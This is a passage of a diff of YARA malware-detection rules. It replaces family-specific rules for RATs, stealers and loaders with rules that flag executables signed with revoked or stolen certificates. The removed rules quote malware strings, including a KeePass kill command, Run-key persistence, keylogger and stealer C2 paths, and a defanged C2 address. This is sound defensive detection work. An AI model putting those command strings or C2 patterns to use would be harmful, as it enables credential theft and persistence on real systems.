-		description = "Detects IPsecHelper backdoor"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f848ac2a-95ad-596a-b193-5cfb424e33a2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5ef0b542-01de-53ee-9a52-0a05bccccd22"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6256-L6279"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6886-L6900"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "be0ecf8a97d289b15b902420d769925b7b22ab835bd7d10d10b059119f41e540"
+		logic_hash = "a9906821de34bf6a20bfe1a4be81563a22b110bde68fbe36b491955c23d2dcc6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "rundll32.exe advapi32.dll,ProcessIdleTasks" wide
-		$s2 = "CommandExecute" fullword ascii
-		$s3 = "DownloadExecuteUrl" fullword ascii
-		$s4 = "DownloadExecuteFile" fullword ascii
-		$s5 = "CmdExecute" fullword ascii
-		$s6 = "ExecuteProcessWithResult" fullword ascii
-		$s7 = "IsFirstInstance ==> checked" fullword wide
-		$s8 = "del \"%PROG%%SERVICENAME%\".*" fullword wide
-		$s9 = ".CreateConfig" wide
-		$s10 = ".SelfDelete" wide
-		$c1 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; EmbeddedWB 14.52 from: http://www.google.com/ EmbeddedWB 14.52;" wide
-		$c2 = "boot.php" wide
-		$c3 = "lastupdate.php" wide
-		$c4 = "main.php" wide
-		$c5 = "InternetNeeded" wide
-		$c6 = "DeviceIdSalt" wide
+		thumbprint = "abfa72d4a78a9e63f97c90bcccb8f46f3c14ac52"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($s*) or 4 of ($c*) or 8 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ООО \"СМ\"" and (pe.signatures[i].serial=="bd:96:f0:b8:7e:dc:a4:1e:77:75:07:01:5b:3b:27:75" or pe.signatures[i].serial=="00:bd:96:f0:b8:7e:dc:a4:1e:77:75:07:01:5b:3b:27:75"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Apostle : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E41537B8Dd65670D6Eb01954Becacf1E : FILE
 {
 	meta:
-		description = "Detects Apsotle"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6e6d2ef0-b709-5915-b644-db86d9d3f26a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "80ac0d4e-5865-562a-a4a1-fa02b6859bdb"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6281-L6295"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6902-L6916"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "aa5a522383cbb7e2fdb90f4c4395c7f92f546aa1dbda8f44090225861f011630"
+		logic_hash = "94b7feb2d1ed8a7004599ac2018746bf43529f7cf7c4776fbdf21282013935c8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "bytesToBeEncrypted" fullword ascii
-		$s2 = "SelfDelete" fullword ascii
-		$s3 = "ReadMeFileName" ascii
-		$s4 = "DesktopFileName" ascii
-		$s5 = "SetWallpaper" fullword ascii
-		$s6 = "get_EncryptionKey" fullword ascii
-		$s7 = "disall" fullword ascii
+		thumbprint = "150ff604efa1e4868ea47c5d48244e57fa4b9196"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Marketing Concept s.r.o." and (pe.signatures[i].serial=="e4:15:37:b8:dd:65:67:0d:6e:b0:19:54:be:ca:cf:1e" or pe.signatures[i].serial=="00:e4:15:37:b8:dd:65:67:0d:6e:b0:19:54:be:ca:cf:1e"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_DEADWOOD : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_06808C5934Da036A1297A936D72E93D4 : FILE
 {
 	meta:
-		description = "Detects DEADWOOD"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a75e30d8-75ec-5eaf-94f5-5556a3b947ae"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "c75ae0da-e8b9-581f-bfde-f23b3b3f9d22"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6297-L6313"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6918-L6929"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bf53abc801971b294e0a23bb0162ceb7c56a563a16e73c317f6a890ba545b67d"
+		logic_hash = "45840d354dcea86c38effc86b3b6f92540f32eab78286d51ff7f472618accb8b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Service Start Work !!!!" fullword ascii
-		$s2 = "Error GetTokenInformation : " fullword ascii
-		$s3 = "\\Windows\\System32\\net.exe" fullword wide
-		$s4 = "App Start Work !!!!" fullword ascii
-		$s5 = "vmmouse" fullword wide
-		$s6 = "CDPUserSvc_" wide
-		$s7 = "WpnUserService_" wide
-		$s8 = "User is :" wide
-		$s9 = "\\params" fullword ascii
+		thumbprint = "efb70718bc00393a01694f255a28e30e9d2142a4"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rhaon Entertainment Inc" and pe.signatures[i].serial=="06:80:8c:59:34:da:03:6a:12:97:a9:36:d7:2e:93:d4")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Turian : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_97D50C7E3Ab45B9A441A37D870484C10 : FILE
 {
 	meta:
-		description = "Hunt for Turian / Qurian"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "eafa9442-a01b-5044-bc47-634297a3efcc"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "54c391df-ea76-5944-aae6-63f44ec557e5"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6315-L6343"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6931-L6942"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "87f4263381c5e93fcba0873aa3bb9a1db4b21225141cd7f06be30f5777a47806"
+		logic_hash = "2f535f66a4aabffff48f167ffcabcb366398e358eaafa2b3d67ee4c7ad19eb66"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "d1218ab9d608ee0212e880204e4d7d75f29f03b77248bca7648d111d67405759"
-		cnc_domain = "windowsupdate[.]dyndns[.]info"
-		cnc_ip = "58[.]158[.]177[.]102"
-
-	strings:
-		$s1 = "%s a -m5 -hp1qaz@WSX3edc -r %s %s\\*.*" ascii wide
-		$s2 = "%s a -m5 -hpMyHost-1 -r %s %s\\*.*" ascii wide
-		$s3 = "%s a -m5 -hp1qaz@WSX3edc -ta%04d%02d%02d000000 -r %s c:" ascii wide
-		$s4 = "%s a -m5 -hpMyHost-1 -ta%04d%02d%02d000000 -r %s c:"
-		$s5 = "cmd /c dir /s /O:D %s>>\"%s\"" ascii wide
-		$s6 = "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v %s /t REG_SZ /d \"%s\" /f" fullword ascii
-		$s7 = "Not Connect!" fullword ascii
-		$p1 = "RECYCLER\\S-1-3-33-854245398-2067806209-0000980848-2003\\" ascii wide
-		$p2 = "%sRECYCLER.{S-1-3-33-854245398-2067806209-0000980848-2003}\\" ascii wide
-		$p3 = "\\RECYCLER.{S-1-3-33-854245398-2067806209-0000980848-2003}\\" ascii wide
-		$p4 = "\\RECYCLER.{645ff040-5081-101b-9f08-00aa002f954e}\\" ascii wide
-		$p5 = "%sRECYCLER.{645ff040-5081-101b-9f08-00aa002f954e}\\" ascii wide
-		$c1 = "CONNECT %s:%u HTTP/1." ascii wide
-		$c2 = "User-Agent: Mozilla/4.0" ascii wide
-		$m1 = "winsupdatetw" fullword ascii wide
-		$m2 = "clientsix" fullword ascii wide
-		$m3 = "updatethres" fullword ascii wide
-		$m4 = "uwatchdaemon" fullword ascii wide
+		thumbprint = "2e47ceb6593c9fdbd367da8b765090e48f630b33"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) or ( all of ($c*) and (2 of ($s*) or 1 of ($m*) or 1 of ($p*))) or (1 of ($m*) and 1 of ($s*) and (1 of ($c*) or 1 of ($p*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SHENZHEN MINIWAN TECHNOLOGY CO. LTD." and pe.signatures[i].serial=="97:d5:0c:7e:3a:b4:5b:9a:44:1a:37:d8:70:48:4c:10")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent14 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0B2B192657B37632518B08A06E201381 : FILE
 {
 	meta:
-		description = "Detects downloader injector"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6f80567e-b89a-557d-a282-b61c0b99625e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "917d2d66-f4b4-59b1-aeed-3b10c337d4b8"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6365-L6378"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6944-L6955"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2806b553635dbf96e9c00d3554dd5732df64200b3ae2c4845a2675218bd56387"
+		logic_hash = "361005555e5d4b51c4538617c99fe668fca61ccc0c0847611e1423f69194999c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "%ProgramData%\\AVG" fullword wide
-		$s2 = "%ProgramData%\\AVAST Software" fullword wide
-		$s3 = "%wS\\%wS.vbs" fullword wide
-		$s4 = "%wS\\%wS.exe" fullword wide
-		$s5 = "CL,FR,US,CY,FI,HR,HU,RO,PL,IT,PT,ES,CA,DK,AT,NL,AU,AR,NP,SE,BE,NZ,SK,GR,BG,NO,GE" ascii
-		$s6 = "= CreateObject(\"Microsoft.XMLHTTP\")" ascii
+		thumbprint = "ea017224c3b209abf53941cc4110e93af7ecc7b1"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Atomic Protocol Systems" and pe.signatures[i].serial=="0b:2b:19:26:57:b3:76:32:51:8b:08:a0:6e:20:13:81")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Markirat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00945Aaac27E7D6D810C0A542Bedd562A4 : FILE
 {
 	meta:
-		description = "Detects MarkiRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6cfa276c-a64e-532a-a1ae-11a9e00867bd"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5698130c-0696-5474-8b86-b6ba290d2822"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6380-L6403"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6957-L6972"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "17b8bcfe8d2b4c87ff8e0bddb436e18029a3b28a5ad3994fe9bef359588d9cad"
+		logic_hash = "292657717cb42835324b6ff42d563bca47e042e82afef24b5d666b16979b8103"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$pdb = "\\mfcmklg.pdb" ascii
-		$s1 = "runinhome Completed" wide
-		$s2 = "ERROR find next file<br>" wide
-		$s3 = "<br><mark>Hello: %s</mark>" wide
-		$s4 = "<br><mark>CLIPBOARD[" wide
-		$s5 = "@userhome@" wide
-		$s6 = "Global\\{2194ABA1-BFFA-4e6b-8C26-D1BB20190312}" wide
-		$s7 = "taskkill /im svehost.exe /t /f" fullword ascii
-		$s8 = "taskkill /im keepass.exe /t /f" fullword ascii
-		$ba = /bitsadmin \/(addfile|cancel|SetPriority|resume)/ ascii wide
-		$c1 = "/ech/client.php?u=" wide
-		$c2 = "/up/uploadx.php?u=" wide
-		$c3 = "/ech/echo.php?req=rr&u=" wide
-		$c4 = "/ech/rite.php" wide
-		$c5 = "http://microsoft.com-view.space/i.php?u=" wide
-		$c6 = "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"" ascii
+		thumbprint = "de7794505df4aeb1253500617e812f462592e163"
+		hash1 = "df3dabd031184b67bab7043baaae17061c21939d725e751c0a6f6b7867d0cf34"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (($pdb and any of them ) or (5 of ($s*)) or (3 of ($c*)) or ((#ba>3 and 4 of them )))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DYNAMX BUSINESS GROUP LTD." and (pe.signatures[i].serial=="94:5a:aa:c2:7e:7d:6d:81:0c:0a:54:2b:ed:d5:62:a4" or pe.signatures[i].serial=="00:94:5a:aa:c2:7e:7d:6d:81:0c:0a:54:2b:ed:d5:62:a4"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Klingonrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6D450Cc59Acdb4B7 : FILE
 {
 	meta:
-		description = "Detects KlingonRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "bea50bce-b38c-50a0-902a-1014615bd9b8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "845e3f48-5660-525e-bd18-5953c64322f1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6405-L6427"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6974-L6985"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2abfbfc1b67f931f15bfdfd2cd4ba7821e62eb8c518bbc04629c0dd694bbd9c1"
+		logic_hash = "8328159dce3586c26b777f92d7a87e0660520cf08d122505d34ed427bdd7ff6f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$go = "Go build ID:" ascii
-		$s1 = "/UCRelease/src/client/uac/once/"
-		$s2 = "%T\\AppData\\Local\\Windows Update\\"
-		$s3 = "%TSoftware\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
-		$s4 = "wmic /namespace:'\\\\root\\subscription' PATH"
-		$s5 = "C:\\Windows\\System32\\fodhelper.exeCaption,ParentProcessId,ProcessId"
-		$s6 = "ldpro.exelsass.exeluall.exeluspt.exe"
-		$s7 = "scangui.exedeps/lsass.exeetrustcipe.exefile"
-		$s8 = "alogserv.exeaplica32.exeapvxdwin.exeatro55en.exeautodown.exeavconsol.exeavgserv9.exeavkwctl9.exeavltmain.exeavpdos32.exeavsynmgr.exeavwupd32.exeavwupsrv.exe"
-		$c1 = "%s/keyLogger?machineId=%s" ascii
-		$c2 = "%s/stealer?machineId=%s" ascii
-		$c3 = "%s/lsass?machineId=%s" ascii
-		$c4 = "%s/logger?machineId=%s" ascii
-		$c5 = "%s/machineInfo?machineId=%s" ascii
-		$c6 = "failurehttps://%s:%d/botif-modified-sinceillegal" ascii
+		thumbprint = "bd3ac678cabb6465854880dd06b7b6cd231def89"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ($go) and (3 of ($c*) or 5 of ($s*) or (3 of ($s*) and 1 of ($c*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CancellationTokenSource" and pe.signatures[i].serial=="6d:45:0c:c5:9a:cd:b4:b7")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Xfiles : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_66390Fc17786D4A342F0Ee89996D6522 : FILE
 {
 	meta:
-		description = "Detects X-Files infostealer (formerly BotSh1zoid)"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3f8b2f9b-aa6a-5ffc-95b8-5e44de0d1a49"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "202e4270-9b49-5516-8188-a64bd528a9c4"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6429-L6460"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6987-L6998"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0c04a8f019aea36f4bba3ce8289c2d608c69d76bbf321052560b4ca2214be057"
+		logic_hash = "a38d09beee8ddaa6e8273e04fe3c5cc9ff9a4e55344e2b9191bb3e5928e9e79b"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "\\BotSh1zoid\\" ascii
-		$x2 = "\\BuildPacker.pdb" ascii
-		$x3 = "\\Svc_host.pdb" ascii nocase
-		$s1 = "WDefender" fullword ascii
-		$s2 = "CheckDefender" fullword ascii
-		$s3 = "RunPS" fullword ascii
-		$s4 = "DownloadFile" fullword ascii
-		$v1_1 = "<Pass encoding=\"base64\">(.*)</Pass>" wide
-		$v1_2 = "Grabber\\" wide
-		$v1_3 = "/log.php" wide
-		$v1_4 = /Browsers\\(Logins|Cards|Cookies)/ wide
-		$v1_5 = "<StealSteam>b__" ascii
-		$v1_6 = "record_header_field" fullword ascii
-		$v1_7 = "JavaScreenshotiptReader" fullword ascii
-		$v1_8 = "HTTPDebuggerPro" wide
-		$v1_9 = "IEInspector" wide
-		$v1_10 = "Fiddler" wide
-		$v2_1 = /get_(Cookie|Logins|Cards)Path/ fullword ascii
-		$v2_2 = "get_AllScreens" fullword ascii
-		$v2_3 = "{0}_{1}_{2}.zip" fullword wide
-		$v2_4 = "\\Stealer" fullword wide
-		$g1 = "$983a3552-4ec3-4936-bd4a-8e6fd67b4c67" fullword ascii
-		$g2 = "$a5d9ca4d-400f-4e07-8c09-a916b548f2e3" fullword ascii
-		$g3 = "$ebc25cf6-9120-4283-b972-0e5520d0000C" fullword ascii
+		thumbprint = "80e8620ff16598cc1e157a2b7df17d528b03b6e5"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and (3 of ($s*) or 3 of ($v1*) or 3 of ($v2*))) or 7 of ($v1*) or 3 of ($v2*) or (2 of ($g*) and 3 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Logitech Z-" and pe.signatures[i].serial=="66:39:0f:c1:77:86:d4:a3:42:f0:ee:89:99:6d:65:22")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Allakore : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D1737E5A94D2Aff121163Df177Ed7Cf7 : FILE
 {
 	meta:
-		description = "Detects AllaKore"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "371663c1-6faf-5ca3-a79e-e4340d44660b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "92ba22ba-9610-5b9b-9075-1da84fb148c1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6462-L6493"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7000-L7015"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0e93682787e27246cdddbd67ca5360728c65049a2e97e71809b5902854aa4bef"
+		logic_hash = "7889e42ca0bc6c4aad0c7cf90459958e9d256b984fae719bd418fc17120cb4a2"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "AllaKore Remote - Chat" fullword wide
-		$x2 = "AllaKore Remote - Share Files" fullword wide
-		$x3 = "CYRUS - Chat" fullword wide
-		$x4 = "CYRUS - Share Files" fullword wide
-		$x5 = "<|REDIRECT|><|GETFOLDERS|>" fullword wide
-		$x6 = "<|REDIRECT|><|DOWNLOADFILE|>" fullword wide
-		$x7 = "<|REDIRECT|><|WHEELMOUSE|>" fullword wide
-		$x8 = "<|REDIRECT|><|SETMOUSE" wide
-		$x9 = "<|CHECKIDPASSWORD|>" fullword wide
-		$x10 = "<|KEYBOARDSOCKET|>" fullword wide
-		$x11 = "<|REDIRECT|><|CLIPBOARD|>" fullword wide
-		$x12 = "<|IDEXISTS!REQUESTPASSWORD|>" fullword wide
-		$x13 = "<|GETFULLSCREENSHOT|>" fullword wide
-		$x14 = "<|MAINSOCKET|>" fullword ascii
-		$s1 = "You can not connect with yourself!" wide
-		$s2 = "Waiting for authentication..." wide
-		$s3 = "Connected support!" wide
-		$s4 = "ID does nor exists." wide
-		$s5 = "Finding the ID..." wide
-		$s6 = "PC is Busy!" wide
-		$s7 = "Upload &  Execute" fullword ascii
-		$s8 = "Download file selected" fullword ascii
-		$s9 = "CaptureKeys_TimerTimer" fullword ascii
-		$s10 = "Remote File Manager" fullword ascii
+		thumbprint = "ed2e4f72e8cb9b008a28b31de440f024381e4c8d"
+		hash1 = "66dfb7c408d734edc2967d50244babae27e4268ea93aa0daa5e6bbace607024c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($x*) or 4 of ($s*) or (3 of ($s*) and 2 of ($x*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BedstSammen ApS" and (pe.signatures[i].serial=="d1:73:7e:5a:94:d2:af:f1:21:16:3d:f1:77:ed:7c:f7" or pe.signatures[i].serial=="00:d1:73:7e:5a:94:d2:af:f1:21:16:3d:f1:77:ed:7c:f7"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Reverserat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5Aa94583A95D42F1 : FILE
 {
 	meta:
-		description = "Detects ReverseRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "df13fc6c-025a-54db-809d-4f3c27b8aa7a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a77e58c7-c613-5416-9bcd-336c036d99bd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6495-L6514"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7017-L7028"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "87ab00a5588bfce04ec47a07b184fffe359e472ac8bf561b02a8b070edf2e014"
+		logic_hash = "174ce032fd87028e34843417d5a4695d6d6e2eb444095e005588f1acf291cdf8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$pdb1 = "\\ReverseRat.pdb" ascii nocase
-		$pdb2 = "\\ReverseRat\\obj\\" ascii nocase
-		$s1 = "processCmd" fullword ascii
-		$s2 = "CmdOutputDataHandler" fullword ascii
-		$s3 = "sendingProcess" fullword ascii
-		$s4 = "SetStartup" fullword ascii
-		$s5 = "RunServer" fullword ascii
-		$s6 = "_OutputDataReceived" ascii
-		$s7 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00
-                00 03 0a 00 00 13 74 00 65 00 72 00 6d 00
-                69 00 6e 00 61 00 74 00 65 00 00 09 65 00
-                78 00 69 00 74 00 }
+		thumbprint = "0b27715d7c78368bca3ac0bb829a7ceb19b3b5c3"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($pdb*) and 2 of ($s*)) or 5 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "UInt32" and pe.signatures[i].serial=="5a:a9:45:83:a9:5d:42:f1")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Smokeloader : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6Ce7A0C62F27Fa98F78853E1Ad11173F : FILE
 {
 	meta:
-		description = "Detects SmokeLoader variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e8f28f89-3a79-5d78-8c0a-bad16a57df84"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "dd6ba685-deac-5ba0-8268-2ff17f3efc5a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6516-L6539"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7030-L7041"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "65c56ed11a3cb4e4bcf8fd2a6be097545cb96e84ba4c4202969d1d163a2a36ed"
+		logic_hash = "48692213d57293d28d0eb146d24036fa7e7357e55df07330d596a51a0665f063"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "G2A/CLP/05/RYS" fullword wide
-		$x2 = "0N1Y/53R10U5/BU51N355" fullword wide
-		$x3 = "CH4PG3PB-6HT2VI9C-O2NL2NO5-QP1BW0EG" fullword wide
-		$s1 = "Azure-Update-Task" fullword wide
-		$s2 = "C:\\Windows\\System32\\schtasks.exe" fullword wide
-		$s3 = "/C /create /F /sc minute /mo 1 /tn \"" fullword wide
-		$s4 = "\\Microsoft\\Network" fullword wide
-		$s5 = "\\Microsoft\\TelemetryServices" fullword wide
-		$s6 = "\" /tr \"" fullword wide
-		$e1 = "\\sqlcmd.exe" fullword wide
-		$e2 = "\\sihost.exe" fullword wide
-		$e3 = "\\fodhelper.exe" fullword wide
+		thumbprint = "638dc7cd59f1d634c19e4fc2c41b38ae08a1d2e5"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 4 of ($s*)) or (5 of ($s*) and 1 of ($e*)))
+		( uint16(0)==0x5a4d or uint32(0)==0xe011cfd0) and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "D&K ENGINEERING" and pe.signatures[i].serial=="6c:e7:a0:c6:2f:27:fa:98:f7:88:53:e1:ad:11:17:3f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlinjector03 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_670C3494206B9F0C18714Fdcffaaa42F : FILE
 {
 	meta:
-		description = "Detects unknown loader / injector"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "2d0df2d8-5b1c-5408-b8c7-8ca14d57da0f"
-		date = "2024-05-28"
